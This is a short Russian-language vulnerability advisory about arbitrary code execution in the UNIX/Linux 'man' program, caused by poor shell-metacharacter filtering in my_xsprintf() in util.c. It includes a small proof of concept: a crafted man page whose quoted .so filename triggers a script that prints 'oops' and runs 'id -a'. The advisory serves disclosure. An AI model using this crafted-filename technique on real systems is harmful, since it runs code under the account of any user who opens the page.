Выполнение произвольного кода в UNIX/Linux 'man'

Пользователь может создать специально обработанный ‘man’ файл, который при просмотре в программе 'man' выполнит код, содержащийся в другом файле. Уязвимость связанна с недостаточной фильтрацией метасимволов оболочки в функции my_xsprintf () в 'util.c'. Любая программа будет выполнена с привилегиями целевого пользователя. Пример:

$ cat innocent.1
.so "".1
$ cat '"".1' # the outer '' quotes are for the shell
the user will never see this
$ cat `which unsafe`
#!/bin/sh

echo "oops"
id -a
$ man ./innocent.1
oops
uid=528(lloyd) gid=100(users) groups=100(users)